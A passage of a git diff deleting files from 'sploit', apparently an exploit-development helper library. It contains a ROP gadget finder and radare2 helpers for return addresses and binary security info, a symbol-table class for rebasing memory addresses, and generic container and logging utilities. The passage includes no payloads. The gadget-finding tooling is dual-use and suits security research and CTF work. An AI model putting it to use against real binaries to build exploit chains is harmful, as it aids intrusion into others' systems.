- size = end_idx - idx
- regexes_use = (regexes + (".*",) * size) if cont else regexes
-
- offset = opcodes[idx]['offset'] - base
- if offset in result_offsets:
- continue
-
- matches = []
-
- for regex in regexes_use:
- match = re.fullmatch(regex, opcodes[idx]['opcode'])
- if not match:
- break
- matches.append(match)
- idx += 1
-
- if len(matches) == len(regexes_use):
- results.append(Gadget(offset, matches))
- result_offsets.append(offset)
-
- return results
-
-def rop_gadget(binary, *regexes):
- results = rop_gadgets(binary, *regexes)
- if len(results) == 0:
- raise LookupError(f"Could not find gadget for: {'; '.join(regexes)}")
- return results[0]
-
-@cache
-def get_call_returns(binary,xref_from,xref_to):
- ilog(f'Getting return addresses of calls from {hex(xref_from)} to {hex(xref_to)} in {binary} with r2...')
-
- cmd_xrefs = f's {hex(xref_from)};af;axq'
- xrefs = run_cmd(binary,cmd_xrefs)
- xrefs = [re.split(r'\s+',x) for x in xrefs]
- xrefs = [x for x in xrefs if int(x[2],0)==xref_to]
- rets = []
- CallRet = nt("CallRet", "xref_from xref_to call_addr ret_addr")
- for x in xrefs:
- cmd_ret = f's {x[0]};so;s'
- ret = run_cmd(binary,cmd_ret)
- rets.append(CallRet(xref_from,xref_to,int(x[0],0),int(ret[0],0)))
- return rets
-
-@cache
-def get_bin_info(binary):
- ilog(f'Retrieving binary and security info about {binary} with r2...')
-
- return json.loads(run_cmd(binary,'iIj')[0])
diff --git a/sploit/symtbl.py b/sploit/symtbl.py
deleted file mode 100644
index 86800f5..0000000
--- a/sploit/symtbl.py
+++ /dev/null
@@ -1,160 +0,0 @@
-"""
-Symtbl data structure
-
-A Symtbl (symbol table) is an associative data container intended to model
-arbitrary memory layouts, such as structure definitions or memory-mapped
-objects. Elements may be accessed via subscript or attribute notation.
-
-A Symtbl is essentially a dictionary, in which each key (symbol name string)
-is associated with an offset value. A special key "base" represents the
-base or starting address of the overall table in memory. Whenever offset
-values are accessed, they are adjusted relative to the table's base value.
-This enables the primary function of Symtbl objects: the ability to resolve
-mapped, or absolute, addresses of objects in memory.
-
-Therefore, even though a Symtbl internally tracks symbol offsets, the apparent
-value of any symbol will always be its offset plus the table's base address.
-The table's base address will also be subtracted from values being stored in
-the table, as the provided value is assumed to be mapped in the same manner as
-the table itself.
-
- s = Symtbl()
- s.a = 10
- s.b = 20
- print(s.a, s.b) # "10 20"
- s.base = 100
- print(s.a, s.b) # "110 120"
- s.c = 150
- s.base = 10
- print(s.a, s.b, s.c) # "20 30 60"
-
-A Symtbl's base value may be changed at any time, and this will affect the
-interpretation of offsets as described above. However, one may also create a
-remapped version of a Symtbl (without modifying the original) using the '@'
-operator. This new object will have the base value given on the right hand
-side of the '@' and its collection of symbols is referentially linked to the
-source object, meaning changes to symbol entries will be visible in both
-objects.
-
- s1 = Symtbl()
- s1.a = 10
- s2 = s1 @ 1000
- print(s1.a, s2.a) # "10 1010"
- s2.b = 1234
- print(s1.b, s2.b) # "234 1234"
-
-Symtbl's are also nestable, to support modeling composite memory layouts. If
-a symbol's value is assigned to another Symtbl object, rather than an integer
-offset, the child object's base value serves as its offset in the parent
-Symtbl. Symbols on the child object may then be accessed recursively from the
-parent's scope. If the parent has a non-zero base, it adjusts the offsets
-interpreted in the child.
-
- child = Symtbl()
- child.a = 1
- child.b = 2
- parent = Symtbl()
- parent.nested = child @ 70
- print(parent.nested.a, parent.nested.b) # "71 72"
-
-A Symtbl will allow you to uniformly adjust all offsets contained, while leaving
-the base value the same, using the '<<' and '>>' operators. A custom
-"rebase" operation is also available via the "%" operator. A rebase applies
-a uniform shift, such that the right hand side offset operand ends up coinciding
-with the Symtbl base address.
-
- s = Symtbl()
- s.a = 1
- s.b = 2
- s.c = 3
- s.d = 4
- s.base = 1000
- s %= s.c # rebase at symbol 'c'
- print(s.a, s.b, s.c, s.d) # "998 999 1000 1001"
-"""
-
-from sploit.types.indextbl import IndexTbl
-from sploit.types.index_entry import IndexEntry
-
-def Symtbl(*, base=0, **symbols):
- """
- Create a new Symtbl object.
-
- Return an empty Symtbl or, optionally, one initialized with the given
- symbol values. Arguments must be keyword arguments.
-
- Users should call this function instead of attempting to construct the
- Symtbl class. Construction is implemented via a normal function to prevent
- any argument name from conflicting with __init__'s bound instance parameter.
- """
- self = SymtblImpl(base, 0, dict())
- for k, v in symbols.items():
- self[k] = v
- return self
-
-class SymtblImpl(IndexTbl):
- """Symtbl implementation class"""
-
- def __init__(self, base, adjust, entries):
- """Construct Symtbl from instance data."""
- super().__init__(base)
- object.__setattr__(self, "__adjust__", adjust)
- object.__setattr__(self, "__entries__", entries)
-
- def __repr__(self):
- """Return human-readable Symtbl."""
- FMT = "\n{:<20} {:<20}"
- s = f"{len(self)} symbols @ {hex(self)}"
-
- if len(self) > 0:
- s += FMT.format("ADDRESS", "SYMBOL")
-
- for key, value in self:
- key = f"[{key}]" if isinstance(value, IndexEntry) else key
- s += FMT.format(hex(value), key)
-
- return s
-
- def __rshift__(self, offset):
- """Return symbol-adjusted version of object."""
- adjust = self.__adjust__ + int(offset)
- return SymtblImpl(self.base, adjust, self.__entries__)
-
- def __lshift__(self, offset):
- """Return symbol-adjusted version of object."""
- return self >> (-offset)
-
- def __mod__(self, offset):
- """Return symbol-rebased version of object."""
- return self >> (self.base - offset)
-
- # IndexTbl abstract methods
-
- def __copy__(self):
- """Return copy of object with shared symbol entries."""
- return SymtblImpl(self.base, self.__adjust__, self.__entries__)
-
- def __iter__(self):
- """Iterate over table items, sorted by offsets."""
- it = { k: self[k] for k in self.__entries__}.items()
- return iter(sorted(it, key=lambda x: int(x[1])))
-
- def __len__(self):
- """Return number of defined symbols."""
- return len(self.__entries__)
-
- def __getindex__(self, index):
- """Return symbol value or translated offset."""
- if isinstance(index, (int, IndexEntry)): offset = index
- else: offset = self.__entries__[index]
- return offset + (self.base + self.__adjust__)
-
- def __setindex__(self, index, value):
- """Set symbol value."""
- if isinstance(index, (int, IndexEntry)):
- raise TypeError(f"Symtbl: Unsupported key type: {type(index)}")
- self.__entries__[index] = value - (self.base + self.__adjust__)
-
- def __delindex__(self, index):
- """Delete symbol."""
- del self.__entries__[index]
diff --git a/sploit/types/__init__.py b/sploit/types/__init__.py
deleted file mode 100644
index a618162..0000000
--- a/sploit/types/__init__.py
+++ /dev/null
@@ -1,3 +0,0 @@
-from .indextbl import *
-from .index_entry import *
-from .lict import *
diff --git a/sploit/types/index_entry.py b/sploit/types/index_entry.py
deleted file mode 100644
index a03ab92..0000000
--- a/sploit/types/index_entry.py
+++ /dev/null
@@ -1,44 +0,0 @@
-import copy
-
-class IndexEntry:
- """
- Generic IndexTbl entry object
-
- IndexEntry is intended to be subclassed to create interesting types that are
- compatible with IndexTbl directories. IndexEntry gives objects a baseline
- int-like personality.
-
- IndexEntry objects are convertable to int via int(), bin(), hex(), etc. This
- integer value is manipulated via the object's "base" property, and a few
- operators are implemented to provide nicer syntax for this as well. The use
- of operators generally yield distinct copies of the original object.
-
- The property name "base" is used since it has semantic meaning for the
- IndexTbl class, which is itself an extension of this class.
-
- base (int): Index integer value
- """
-
- base = 0
-
- def __init__(self, base=0):
- """Construct index with the given base value."""
- self.base = base
-
- def __index__(self):
- """Convert index to base integer value."""
- return int(self.base)
-
- def __matmul__(self, base):
- """Create new object with the given base value."""
- new = copy.copy(self)
- new.base = base
- return new
-
- def __add__(self, add):
- """Create new object with the given relative base value."""
- return self @ (self.base + add)
-
- def __sub__(self, sub):
- """Create new object with the given relative base value."""
- return self @ (self.base - sub)
diff --git a/sploit/types/indextbl.py b/sploit/types/indextbl.py
deleted file mode 100644
index 4f57a59..0000000
--- a/sploit/types/indextbl.py
+++ /dev/null
@@ -1,103 +0,0 @@
-from abc import abstractmethod
-from collections.abc import Collection
-
-from sploit.types.index_entry import IndexEntry
-
-class IndexTbl(IndexEntry, Collection):
- """
- Abstract Index Table
-
- IndexTbl is a common interface to an abstracted key-value store. The
- storage mechanism as well as lookup semantics are defined by concrete
- implementations. "Index" in this case is more akin to a directory index or
- book index than a strictly numeric array index.
-
- In general, concrete tables may store values of any or multiple different
- types. In particular, tables should give special accommodation for values
- of type IndexEntry. These objects usually represent "rich" versions of the
- nominal data types the table expects to contain. Implementation repr()
- methods usually also annotate which members are IndexEntries.
-
- IndexTbl extends from IndexEntry, and so has a base value which represents
- the "base index" of the table. The meaning of this depends on the
- implementation. This inheritance also means that tables are generally
- expected to be nestable.
-
- IndexTbls allow indices to be accessed via attribute or subscript notation.
- This is probably the key characteristic feature of the class. The class
- namespace is kept as clean as possible to make for the fewest collisions
- between index names and other (real) class attributes. Note that there are
- abstract methods, required to be overridden, which implement the index
- access. These methods are only called for normal indices, not the table
- base.
-
- Because this class overrides attribute access, normal automatic object
- copying is broken. Because of this, implementations must also provide a
- definition for the __copy__() method as well.
- """
-
- @abstractmethod
- def __getindex__(self, index):
- """Lookup and retrieve index value."""
- raise NotImplementedError
-
- @abstractmethod
- def __setindex__(self, index, value):
- """Lookup and set index value."""
- raise NotImplementedError
-
- @abstractmethod
- def __delindex__(self, index):
- """Lookup and delete index value."""
- raise NotImplementedError
-
- @abstractmethod
- def __copy__(self):
- """Create a copy of this IndexTbl object."""
- raise NotImplementedError
-
- def __contains__(self, index):
- """Test the existence of the given index."""
- try:
- self.__getindex__(index)
- except KeyError:
- return False
- else:
- return True
-
- # Attribute access methods
-
- def __getattr__(self, index):
- """Get value via attribute."""
- return self[index]
-
- def __setattr__(self, index, value):
- """Set value via attribute."""
- self[index] = value
-
- def __delattr__(self, index):
- """Delete value via attribute."""
- del self[index]
-
- # Subscript/item access methods
-
- def __getitem__(self, index):
- """Get value via subscript."""
- if index == "base":
- return self.base
- return self.__getindex__(index)
-
- def __setitem__(self, index, value):
- """Set value via subscript."""
- if index == "base":
- object.__setattr__(self, "base", value)
- elif index in dir(self):
- raise KeyError(f"IndexTbl: Index is reserved: {index}")
- else:
- self.__setindex__(index, value)
-
- def __delitem__(self, index):
- """Delete value via subscript."""
- if index == "base":
- raise KeyError("IndexTbl: May not delete index: base")
- self.__delindex__(index)
diff --git a/sploit/types/lict.py b/sploit/types/lict.py
deleted file mode 100644
index ab6cb1f..0000000
--- a/sploit/types/lict.py
+++ /dev/null
@@ -1,202 +0,0 @@
-from collections.abc import MutableSequence, MutableMapping
-
-class Lict(MutableSequence, MutableMapping):
- """
- List / dictionary hybrid container
-
- Lict attempts to provide an API for a list which supports optional element
- keys in addition to normal positional indices. For Lict, index types are
- int and slice. Keys may be any other type except for None, as None
- indicates an unkeyed value.
-
- Nearly all of the operations you'd except to perform on list or dict are
- implemented here. However, in cases of conflict, the list behavior is
- usually preferred (for example: iter(Lict) iterates over values instead of
- keys). In general, Licts are slightly more list-like, since keys are
- optional, but sequence is required.
-
- Licts can be constructed from any iterable, including other Licts. When
- constructing from mappings, similar heuristics as dict's are used to parse
- key values.
-
- In addition to keys and indices, slices may be used to return, modify, or
- delete a portion of a Lict. The start and end fields of a slice may be
- either keys or indices, however the step field must be an integer as usual.
-
- When assigning to a non-existent key, the new element is sequentially
- inserted at the end of the Lict.
- """
-
- def __init__(self, values=None):
- """Construct new Lict, optionally populated by the given iterable."""
- self.__keys = []
- self.__vals = []
- if values is not None:
- self.extend(values)
-
- def __repr__(self):
- """Return human-readable Lict."""
- s = ""
- for i in range(len(self)):
- if self.__keys[i] is not None:
- s += f"{repr(self.__keys[i])}: "
- s += f"{repr(self.__vals[i])}, "
- return f"{{[{s[:-2]}]}}"
-
- def __copy__(self):
- """Return shallow copy of object."""
- return self.copy()
-
- def copy(self):
- """Return shallow copy of object."""
- return Lict(self)
-
- def key2idx(self, arg):
- """
- Return value of index type for the given input.
-
- For keys, return the corresponding index, or raise KeyError.
- For slices, return a slice with components converted to index type.
-
- If arg is already an index (or None) it is returned as-is with no
- assertions made.
- """
- if isinstance(arg, slice):
- return slice(self.key2idx(arg.start), self.key2idx(arg.stop), arg.step)
- if isinstance(arg, int) or arg is None:
- return arg
- try:
- return self.__keys.index(arg)
- except ValueError as ex:
- raise KeyError(f"Lict: Key does not exist: {arg}") from ex
-
- def idx2key(self, arg):
- """
- Return value of key type for the given input.
-
- For indices, return the corresponding key, None, or raise IndexError.
- For slices, return a slice with components converted to key type.
-
- If arg is already a key type (or None) it is returned as-is with no
- assertions made.
- """
- if isinstance(arg, slice):
- return slice(self.idx2key(arg.start), self.idx2key(arg.stop), arg.step)
- if not isinstance(arg, int) or arg is None:
- return arg
- return self.__keys[arg]
-
- def haskey(self, arg):
- """
- Test existence of key in Lict object.
-
- `x in Lict` only tests for the _value_ x in Lict. This is consistent
- with list behavior. This method is provided to test keys as well.
- Raises TypeError on any index type.
- """
- if arg is None:
- return False
- if isinstance(arg, (int, slice)):
- raise TypeError(f"Lict: Unsupported key type: {type(arg)}")
- return arg in self.__keys
-
- def __assign_slice(self, i, value):
- """Update Lict values according to element slice."""
- value = Lict(value)
- tmp = self.copy()
- tmp.__keys[i] = value.__keys
- tmp.__vals[i] = value.__vals
-
- check_keys = [ x for x in tmp.__keys if x is not None ]
- if len(check_keys) != len(set(check_keys)):
- raise ValueError("Lict: Slice assignment results in duplicate keys")
-
- self.__keys = tmp.__keys
- self.__vals = tmp.__vals
-
- # collections.abc abstract methods
-
- def __len__(self):
- """Return number of elements in Lict."""
- assert len(self.__keys) == len(self.__vals)
- return len(self.__keys)
-
- def __getitem__(self, arg):
- """Return value for given index, key, or slice."""
- i = self.key2idx(arg)
- if isinstance(i, slice):
- return Lict(zip(self.__keys[i], self.__vals[i]))
- return self.__vals[i]
-
- def __setitem__(self, arg, value):
- """Set value for given index, key, or slice."""
- try:
- i = self.key2idx(arg)
- except KeyError:
- self.append(value, arg)
- else:
- if isinstance(i, slice):
- self.__assign_slice(i, value)
- else:
- self.__vals[i] = value
-
- def __delitem__(self, arg):
- """Delete value for given index, key, or slice."""
- i = self.key2idx(arg)
- del self.__keys[i]
- del self.__vals[i]
-
- def insert(self, where, value, key=None):
- """Insert value into Lict. Optionally apply the given key."""
- if self.haskey(key):
- raise KeyError(f"Lict: Key is not unique: {key}")
- i = self.key2idx(where)
- self.__keys.insert(i, key)
- self.__vals.insert(i, value)
-
- # Sequence overrides
-
- def append(self, value, key=None):
- """Append value to Lict. Optionally apply the given key."""
- self.insert(len(self), value, key)
-
- def extend(self, values):
- """Append all values in given iterable to the Lict."""
- try: values = [ [k, v] for k, v in values.items() ]
- except:
- try: values = [ [k, v] for k, v in iter(values) ]
- except: values = [ [None, v] for v in iter(values) ]
- for k, v in values:
- self.append(v, k)
-
- def reverse(self):
- """Reverse the sequence of Lict in-place. Keys follow values."""
- self.__keys.reverse()
- self.__vals.reverse()
-
- # Mapping overrides
-
- def get(self, key, default=None):
- """Return value for given key, or default if unable."""
- try: return self[key]
- except: return default
-
- def popitem(self):
- """Pop a key-value pair from the Lict and return it."""
- return (self.__keys.pop(), self.__vals.pop())
-
- def items(self):
- """Return an iterable of key-value pairs."""
- return list(zip(self.__keys, self.__vals))
-
- def keys(self):
- """Return an iterable of the Lict's keys."""
- return [ x for x in self.__keys if x is not None ]
-
- def values(self):
- """Return an iterable of the Lict's values."""
- return list(self.__vals)
-
- def update(self, values):
- """Method is unsupported."""
- raise NotImplementedError
diff --git a/sploit/until.py b/sploit/until.py
deleted file mode 100644
index b4f390f..0000000
--- a/sploit/until.py
+++ /dev/null
@@ -1,14 +0,0 @@
-from functools import partial as bind
-import re
-
-def lastline(pred, /, *args, **kwargs):
- s = args[-1]
- args = args[:-1]
- p = bind(pred, *args, **kwargs)
- return p(s[-1])
-
-def contains(regex, s):
- return re.search(regex, s)
-
-def equals(regex, s):
- return re.fullmatch(regex, s)
diff --git a/sploit/util/__init__.py b/sploit/util/__init__.py
deleted file mode 100644
index 32a079b..0000000
--- a/sploit/util/__init__.py
+++ /dev/null
@@ -1,2 +0,0 @@
-from .cmd import *
-from .log import *
diff --git a/sploit/util/cmd.py b/sploit/util/cmd.py
deleted file mode 100644
index 3a2b842..0000000
--- a/sploit/util/cmd.py
+++ /dev/null
@@ -1,26 +0,0 @@
-from os import path
-from subprocess import run
-
-def run_cmd(cmd,cwd=None):
- return run(cmd,cwd=cwd,capture_output=True,text=True,check=True).stdout.split('\n')[:-1]
-
-__RUN_CACHE__ = {}
-def run_cmd_cached(cmd,cwd=None):
- key = ''.join(cmd)
- if key in __RUN_CACHE__:
- return __RUN_CACHE__[key]
- else:
- result = run_cmd(cmd,cwd)
- __RUN_CACHE__[key] = result
- return result
-
-#try to get the version through git
-def git_version():
- try:
- cwd = path.dirname(path.realpath(__file__))
- version = run_cmd(["git","describe","--always","--first-parent","--dirty"],cwd=cwd)[0]
- #PEP440 compliance
- version = version.replace('-','+',1).replace('-','.')
- return version
- except:
- return "0+unknown.version"
diff --git a/sploit/util/log.py b/sploit/util/log.py
deleted file mode 100644
index 823b252..0000000
--- a/sploit/util/log.py
+++ /dev/null
@@ -1,32 +0,0 @@
-import codecs
-import sys
-
-# https://docs.python.org/3/library/codecs.html#standard-encodings
-ENCODING = None
-
-ERROR = 31
-WARNING = 33
-STATUS = 32
-NORMAL = 0
-ALT = 90
-
-def enc_value(value, enc):
- if type(value) is bytes:
- if enc is not None:
- value = codecs.encode(value, enc)
- elif ENCODING is not None:
- value = codecs.encode(value, ENCODING)
- value = str(value)[2:-1] # strip b''
- return str(value)
-
-def generic_log(*values, sep, end, file, flush, enc, color):
- string = sep.join([ enc_value(x, enc) for x in values ])
- print(f'\033[{color}m{string}\033[0m', end=end, file=file, flush=flush)
-
-# For library internal use
-def ilog(*values, sep=' ', end='\n', file=sys.stderr, flush=True, enc=None, color=STATUS):
- generic_log(*values, sep=sep, end=end, file=file, flush=flush, enc=enc, color=color)
-
-# For external use in user script (via print = elog)
-def elog(*values, sep=' ', end='\n', file=sys.stdout, flush=True, enc=None, color=ALT):
- generic_log(*values, sep=sep, end=end, file=file, flush=flush, enc=enc, color=color)